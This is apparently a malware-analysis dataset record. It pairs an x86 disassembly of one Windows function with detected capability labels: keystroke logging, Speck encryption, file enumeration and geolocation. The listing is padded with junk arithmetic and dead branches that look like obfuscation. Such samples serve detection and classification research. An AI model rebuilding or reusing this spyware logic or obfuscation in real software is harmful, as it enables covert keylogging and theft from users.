Function at 0x10036d36
Capabilities:
Create directory
Encrypt data using speck
Enumerate files on windows
Extract resource via kernel32 functions
Get common file path
Get file size
Get geographical location
Get thread local storage value
Log keystrokes
Log keystrokes via polling

Disassembly:
mov eax, 0x10061d5c
call fcn.10060ea0
sub esp, 0x800
movdqa xmm0, xmmword [0x1000c190]
lea eax, [ebp - 0x58c]
push ebx
push esi
push edi
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x59c]
mov dword [ebp - 0x10], esp
push ecx
push eax
push ecx
mov dword [ebp - 0x44], 3
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 0x64], dl
movdqu xmmword [ebp - 0x59c], xmm0
call fcn.1000ffff
mov dword [ebp - 0x1c], 0xc33c017f
mov dword [ebp - 0x24], 0x2891ba8
mov dword [ebp - 0x20], 0x888ad88c
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x34], 0xa6e4c1c1
mov dword [ebp - 0x14], 0
jmp 0x10036dc7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x190], 0xd933bd3e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036db6
cmp dword [ebp - 0x44], 0
jne 0x10036dd6
mov eax, dword [ebp - 0x44]
mov esi, dword [ebp - 0x2fc]
xor eax, eax
mov ecx, dword [esi + 0xc]
cmp ecx, dword [esi]
sete al
xor ebx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setle bl
xor edx, edx
sub ebx, eax
mov eax, dword [ebp - 0x24]
cmp ebx, eax
mov eax, dword [ebp - 0x2fc]
setne dl
xor ecx, ecx
sub edx, dword [esi + 0xc]
cmp edx, dword [eax + 4]
mov dword [ebp - 0x18c], edx
setl cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x1c]
jle 0x10036e29
cmp dword [ebp - 0x18c], ebx
jne 0x10036e29
xor edi, edi
mov edx, ebx
inc edi
jmp 0x10036e2e
xor edi, edi
inc edi
mov edx, edi
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setl cl
cmp dword [ebp - 0x44], ecx
jge 0x10036e44
mov edx, edi
cmp dword [ebp - 0x24], ebx
jne 0x10036e46
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x3c], 2
jae 0x10036f93
mov dword [ebp - 0x3c], 0x968f25ce
mov dword [ebp - 0x4c], 0x3c62ed5b
mov dword [ebp - 0x3c], 0x74c77a5c
mov dword [ebp - 0x48], 0xc772a30f
mov dword [ebp - 0x48], 0x64e94140
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], 0x1dc8a068
mov dword [ebp - 0x54], 0xffffffff
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10036ea8
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [ebp - 0x20], 0xffffffec
jmp 0x10036f87
mov dword [ebp - 0x48], 0x77734166
mov dword [ebp - 0x48], 0xd6ae4d7d
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x3c], 0x3610cb4e
mov dword [ebp - 0x24], ebx
jmp 0x10036f7a
mov dword [ebp - 0x40], 0xd3380d42
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x48], 0xfffffff9
mov dword [ebp - 0x14], ebx
jmp 0x10036f13
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x508], 0xeab2dd2c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036f02
dec dword [ebp - 0x44]
mov ecx, 0x186e
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18c], 0x49d2a59a
mov dword [ebp - 0x34], 0x49d2a59a
mov eax, dword [ebp - 0x4c]
sub ecx, eax
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x40], 0xdfeb077c
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setge dl
cmp edi, edx
sbb eax, eax
xor ecx, ecx
inc eax
test eax, eax
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x508]
cmp dword [ebp - 0x40], eax
jl 0x10036f71
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x37
jl 0x10036eec
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x16
jne 0x10036eb4
jmp 0x10036f9d
mov dword [ebp - 0x34], 6
inc dword [ebp - 0x34]
lea ecx, [ebp - 0x2fc]
call fcn.10010025
mov dword [ebp - 0x38], 0x8ee41b66
mov dword [ebp - 0x14], ebx
jmp 0x10036fc5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa0], 0xac204e2d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10036fb4
mov dword [ebp - 0xa0], ebx
cmp dword [ebp - 0xa0], 0xfffffff3
jge 0x10037011
push 9
pop eax
mov dword [ebp - 0x20], 0xbe4
mov dword [ebp - 0x20], 0x29bf390
mov dword [ebp - 0x20], ebx
jmp 0x10036ffd
mov dword [ebp - 0x34], 0xfffc
dec dword [ebp - 0x34]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jne 0x10036ff0
dec dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], 0xfffffff3
jl 0x10036fdd
push 7
pop eax
push 4
mov dword [ebp - 0x38], 0x1a
pop ecx
cmp dword [ebp - 0x38], eax
je 0x1003717b
mov dword [ebp - 0x20], 0x815898f0
mov dword [ebp - 0x20], ebx
jmp 0x1003709a
mov dword [ebp - 0x14], ebx
jmp 0x10037049
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x20c], 0x8dfba22e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10037038
mov dword [ebp - 0x208], ebx
jmp 0x1003707b
mov eax, dword [ebp - 0x208]
cmp dword [ebp + eax*4 - 0xa0], ebx
jne 0x10037083
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037075
push ebx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
inc dword [ebp - 0x208]
cmp dword [ebp - 0x208], edi
jle 0x10037056
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037094
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
inc dword [ebp - 0x20]
push 4
pop ecx
cmp dword [ebp - 0x20], edi
jle 0x10037033
mov dword [ebp - 0x40], 0x41f4
cmp dword [ebp - 0x40], 0x4392
jle 0x10037112
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x44], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
add eax, ecx
mov edi, ebx
xor eax, esi
mov dword [ebp - 0x3c], eax
mov esi, eax
mov eax, edi
mov ecx, 0x10609898
or eax, esi
cdq
push edx
push eax
call fcn.1000fe8e
inc edi
cmp edi, 0x285e
jl 0x100370c9
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
inc esi
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], esi
cmp esi, 0x85b
jl 0x100370be
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x27d
jl 0x100370b9
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x3477
jl 0x100370b4
xor edi, edi
inc edi
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037123
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x40], 0x3ffe
jge 0x1003713e
mov edx, 0x1000a67c
mov ecx, 0x10609898
call fcn.10011938
or dword [ebp - 4], 0xffffffff
push 4
pop ecx
push 7
pop eax
dec dword [ebp - 0x38]
jmp 0x1003701e
movdqa xmm0, xmmword [0x1000c190]
lea ecx, [ebp - 0x5bc]
push ecx
lea eax, [ebp - 0x5ac]
mov dword [ebp - 0x1c], 3
push eax
push ecx
lea ecx, [ebp - 0x3e0]
movdqu xmmword [ebp - 0x5bc], xmm0
call fcn.1000ffff
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x38], 0xc33c017f
mov dword [ebp - 0x30], 0x2891ba8
mov dword [ebp - 0x20], 0x888ad88c
push edi
call fcn.1000ffa3
mov byte [ebp - 4], 3
mov dword [ebp - 0x34], 0xb165
mov dword [ebp - 0x14], 0xc41fd9d0
mov dword [ebp - 0x14], ebx
jmp 0x100371fe
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1ec]
mov dword [eax + ecx*4], 0x1928c176
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100371eb
mov eax, dword [ebp - 0x1ec]
mov dword [eax], ebx
cmp dword [eax], 0xffffffe2
push 8
pop edx
jg 0x100373cd
mov dword [ebp - 0x24], 0x6a92
xor ecx, ecx
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp eax, 0xfecf
setle cl
xor eax, eax
cmp ecx, edx
setne al
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 0xb
cmp dword [ebp - 0x14], 0x17
jl 0x100373c0
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x40], 0x385d06f
mov dword [ebp - 0x2c], 0x3c7f
cmp dword [ebp - 0x2c], 0x3ff7
jle 0x100372fe
push edi
push ebx
push 0x1ec3
call dword [sym.imp.GDI32.dll_SelectPalette]
mov eax, ebx
mov dword [ebp - 0x44], ebx
mov edi, ebx
mov dword [ebp - 0x54], ebx
add eax, edi
mov dword [ebp - 0x40], 0x1248
mov dword [ebp - 0x3c], eax
mov edi, eax
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x664]
xor eax, esi
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100372ba
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x664]
call fcn.1001032f
inc esi
cmp esi, 0x3264
jl 0x1003729e
dec edi
dec dword [ebp - 0x40]
jne 0x1003729c
mov edi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x44]
inc edi
mov dword [ebp - 0x54], edi
cmp edi, 0x6902
jl 0x1003728e
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x74ef
jl 0x10037289
xor edi, edi
inc edi
mov dword [ebp - 0x3c], 4
cmp dword [ebp - 0x2c], 0x3ba4
jge 0x10037319
push 0x1000a6d0
call fcn.1004bbc6
pop ecx
mov dword [ebp - 4], 3
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003735a
push ebx
push 0x1909
push 0x159d
push 0x1f5d
push 0x10aa
push 0xfaf
push 0xd2f
push 0x1a67
push 0x22fe
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp dword [ebp - 0x24], ebx
je 0x10037377
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1ec]
sub edx, 0xc769
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
mov edx, 0xd5de
mov eax, dword [ebp - 0x24]
setne cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x14]
jmp 0x1003724f
mov eax, dword [ebp - 0x1ec]
dec dword [eax]
jmp 0x1003720b
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 2
call fcn.10010025
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x34], 0xa6e4c1c1
mov dword [ebp - 0x14], ebx
jmp 0x10037407
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a4], 0xd933bd3e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100373f6
cmp dword [ebp - 0x1c], ebx
jne 0x10037415
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x3e0]
xor eax, eax
mov ecx, dword [esi + 0xc]
cmp ecx, dword [esi]
sete al
xor ebx, ebx
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setle bl
xor edx, edx
sub ebx, eax
mov eax, dword [ebp - 0x30]
cmp ebx, eax
mov eax, dword [ebp - 0x3e0]
setne dl
xor ecx, ecx
sub edx, dword [esi + 0xc]
cmp edx, dword [eax + 4]
mov dword [ebp - 0x1a0], edx
setl cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x38]
jle 0x10037463
mov edx, ebx
cmp dword [ebp - 0x1a0], ebx
je 0x10037465
mov edx, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
cmp dword [ebp - 0x1c], ecx
jge 0x1003747b
mov edx, edi
cmp dword [ebp - 0x30], ebx
jne 0x1003747d
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x3c], 2
jae 0x10037664
mov dword [ebp - 0x3c], 0x968f25ce
mov dword [ebp - 0x4c], 0x3c62ed5b
mov dword [ebp - 0x3c], 0x74c77a5c
mov dword [ebp - 0x48], 0xc772a30f
mov dword [ebp - 0x48], 0x64e94140
mov dword [ebp - 0x54], 0x2eb7
cmp dword [ebp - 0x54], 0x2f86
jle 0x10037540
mov dword [ebp - 0x40], ebx
mov ecx, ebx
mov dword [ebp - 0x34], 0x52bc
mov dword [ebp - 0x1c], ecx
mov edi, ebx
mov esi, ebx
mov eax, ecx
lea ecx, [ebp - 0x7e4]
or eax, esi
or eax, edi
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100374fb
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7e4]
call fcn.1001032f
mov ecx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x4c90
jl 0x100374dd
inc edi
cmp edi, 0x7a10
jl 0x100374db
mov eax, dword [ebp - 0x40]
add ecx, eax
dec dword [ebp - 0x34]
mov dword [ebp - 0x1c], ecx
jne 0x100374d9
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x7120
jl 0x100374cd
xor edi, edi
inc edi
mov dword [ebp - 0x48], edi
cmp dword [ebp - 0x54], 0x2b25
jge 0x10037557
push 0x1000a6e8
call fcn.1004bbc6
pop ecx
mov dword [ebp - 0x44], 0x1dc8a068
mov dword [ebp - 0x54], 0xffffffff
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037579
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [ebp - 0x20], 0xffffffec
jmp 0x10037658
mov dword [ebp - 0x48], 0x77734166
mov dword [ebp - 0x48], 0xd6ae4d7d
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x3c], 0x3610cb4e
mov dword [ebp - 0x30], ebx
jmp 0x1003764b
mov dword [ebp - 0x40], 0xd3380d42
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x48], 0xfffffff9
mov dword [ebp - 0x14], ebx
jmp 0x100375e4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x568], 0xeab2dd2c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100375d3
dec dword [ebp - 0x44]
mov ecx, 0x186e
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1a0], 0x49d2a59a
mov dword [ebp - 0x34], 0x49d2a59a
mov eax, dword [ebp - 0x4c]
sub ecx, eax
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x40], 0xdfeb077c
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setge dl
cmp edi, edx
sbb eax, eax
xor ecx, ecx
inc eax
test eax, eax
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x568]
cmp dword [ebp - 0x40], eax
jl 0x10037642
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x37
jl 0x100375bd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x16
jne 0x10037585
jmp 0x1003766e
mov dword [ebp - 0x34], 6
inc dword [ebp - 0x34]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e0]
call fcn.10010025
mov dword [ebp - 0x14], 0xf8d9a2b8
mov dword [ebp - 0x30], ebx
jmp 0x1003769a
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x480], 0xfffffffe
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x10037689
mov dword [ebp - 0x40], 0x2020
cmp dword [ebp - 0x40], 0x2399
jle 0x10037745
push ebx
push 0x1d1b
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x44], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, edi
mov dword [ebp - 0x3c], eax
mov edi, eax
mov esi, ebx
shl edi, cl
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x6ac]
and eax, edx
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100376fb
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6ac]
call fcn.1001032f
mov edx, dword [ebp - 0x14]
inc esi
cmp esi, 0x3fe7
jl 0x100376db
mov edi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x7f5
jl 0x100376d0
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x20dc
jl 0x100376cb
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x368a
jl 0x100376c6
mov dword [ebp - 0x30], ebx
jmp 0x1003775b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xb8], 0xe83c7730
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1003774a
cmp dword [ebp - 0x40], 0x1ec1
jge 0x10037775
push 0x1000a740
call fcn.1004bbc6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0xb4], ebx
jmp 0x10037813
mov dword [ebp - 0x14], 0xccbad86e
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x100377fe
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x38], ebx
jmp 0x100377f3
mov dword [ebp - 0x3c], 0xd42ca8cd
mov dword [ebp - 0x20], 0x2ba29f58
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x480]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x20], 0x2c9ebf49
mov dword [ebp - 0x20], ebx
jmp 0x100377ea
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100377e7
push ebx
push ebx
push 0x1258
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x100377cf
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x1003779f
dec dword [ebp - 0x14]
jns 0x10037797
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003780d
call dword [sym.imp.USER32.dll_WaitMessage]
inc dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], 2
jle 0x10037784
mov dword [ebp - 0x14], 0x1a
jmp 0x10037838
mov dword [ebp - 0x3c], 0xa56718e5
cmp dword [ebp - 0x3c], ebx
jne 0x1003783e
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffea
je 0x10037829
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], 0xcb81eca6
mov dword [ebp - 0x48], 0x285b5f73
mov dword [ebp - 0x40], 0x5c2f
cmp dword [ebp - 0x40], 0x5fb2
jle 0x100378b2
mov edx, ebx
mov dword [ebp - 0x44], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, esi
mov edi, ebx
mov esi, edx
shl esi, cl
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10609898
cdq
push edx
push eax
call fcn.1000fe8e
inc edi
cmp edi, 0x84c
jl 0x10037878
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x7ce
jl 0x10037870
inc edx
mov dword [ebp - 0x44], edx
cmp edx, 0x1b7d
jl 0x1003786b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov edx, dword [ebp - 0x38]
setl cl
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
imul ecx, dword [ebp - 0x38]
cmp ecx, 0xffff
setne al
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
je 0x1003790a
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
xor edi, edi
cmp eax, dword [ebp - 0x24]
jle 0x10037921
mov dword [ebp - 0x34], 0x992f1e5c
dec dword [ebp - 0x34]
inc edi
jmp 0x1003798b
mov dword [ebp - 0x20], ebx
inc edi
mov dword [ebp - 0x1c], 0xffffffff
xor edx, edx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x48], 0xd17f4926
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0x47160372
setg dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 3
setne cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x20]
jle 0x1003797f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x40], 0x59ad
jge 0x100379aa
mov edx, 0x1000a798
mov ecx, 0x10609898
call fcn.10011938
or dword [ebp - 4], 0xffffffff
movdqa xmm0, xmmword [0x1000c190]
lea ecx, [ebp - 0x5ac]
push 4
pop esi
push ecx
lea eax, [ebp - 0x59c]
mov dword [ebp - 0x54], 3
push eax
push ecx
lea ecx, [ebp - 0x3f8]
movdqu xmmword [ebp - 0x5ac], xmm0
call fcn.1000ffff
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x38], 0x8ee41b66
mov dword [ebp - 0x14], ebx
jmp 0x10037a2b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa8], 0xac204e2d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10037a1a
mov dword [ebp - 0xa8], ebx
cmp dword [ebp - 0xa8], 0xfffffff3
jge 0x10037a77
push 9
pop eax
mov dword [ebp - 0x20], 0xbe4
mov dword [ebp - 0x20], 0x29bf390
mov dword [ebp - 0x20], ebx
jmp 0x10037a63
mov dword [ebp - 0x34], 0xfffc
dec dword [ebp - 0x34]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jne 0x10037a56
dec dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 0xfffffff3
jl 0x10037a43
mov dword [ebp - 0x38], 0x1a
jmp 0x10037b0c
mov dword [ebp - 0x20], 0x815898f0
mov dword [ebp - 0x20], ebx
jmp 0x10037af3
mov dword [ebp - 0x14], ebx
jmp 0x10037aa5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x21c], 0x8dfba22e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10037a94
mov dword [ebp - 0x218], ebx
jmp 0x10037ad7
mov eax, dword [ebp - 0x218]
cmp dword [ebp + eax*4 - 0xa8], ebx
jne 0x10037adf
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037ad1
push ebx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
inc dword [ebp - 0x218]
cmp dword [ebp - 0x218], edi
jle 0x10037ab2
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037af0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x10037a8f
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10037b09
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 7
jne 0x10037a83
mov dword [ebp - 0x40], 0xc33c017f
lea ecx, [ebp - 0x188]
push edi
call fcn.1000ffa3
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x34], 0xb165
mov dword [ebp - 0x38], 0xc41fd9d0
mov dword [ebp - 0x14], ebx
jmp 0x10037b53
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x188]
mov dword [eax + ecx*4], 0x1928c176
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10037b40
mov eax, dword [ebp - 0x188]
mov dword [eax], ebx
cmp dword [eax], 0xffffffe2
jg 0x10037dcb
mov dword [ebp - 0x24], 0x6a92
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp eax, 0xfecf
setle cl
xor eax, eax
cmp ecx, 8
setne al
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0xb
cmp dword [ebp - 0x38], 0x17
jl 0x10037dbe
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x44], 0x385d06f
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x44], 0x19f1
cmp dword [ebp - 0x44], 0x1b4f
jle 0x10037c3a
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
add eax, edx
lea ecx, [esi + edi]
sar eax, cl
lea ecx, [ebp - 0x754]
cdq
push edx
push eax
call fcn.1000d5c0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037bf6
mov eax, dword [eax]
push eax
call fcn.1004bbc6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x754]
call fcn.1001032f
mov eax, dword [ebp - 0x1c]
inc esi
mov edx, dword [ebp - 0x14]
cmp esi, 0x77af
jl 0x10037bd7
inc edi
cmp edi, 0x2977
jl 0x10037bd5
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x2a69
jl 0x10037bd3
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1188
jl 0x10037bce
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x44], 0x161a
jge 0x10037c51
push 0x1000a7f0
call fcn.1004bbc6
pop ecx
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x14], 0x6519
cmp dword [ebp - 0x14], 0x686f
jle 0x10037cda
push ebx
push 0x2002
push 0x2e0
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
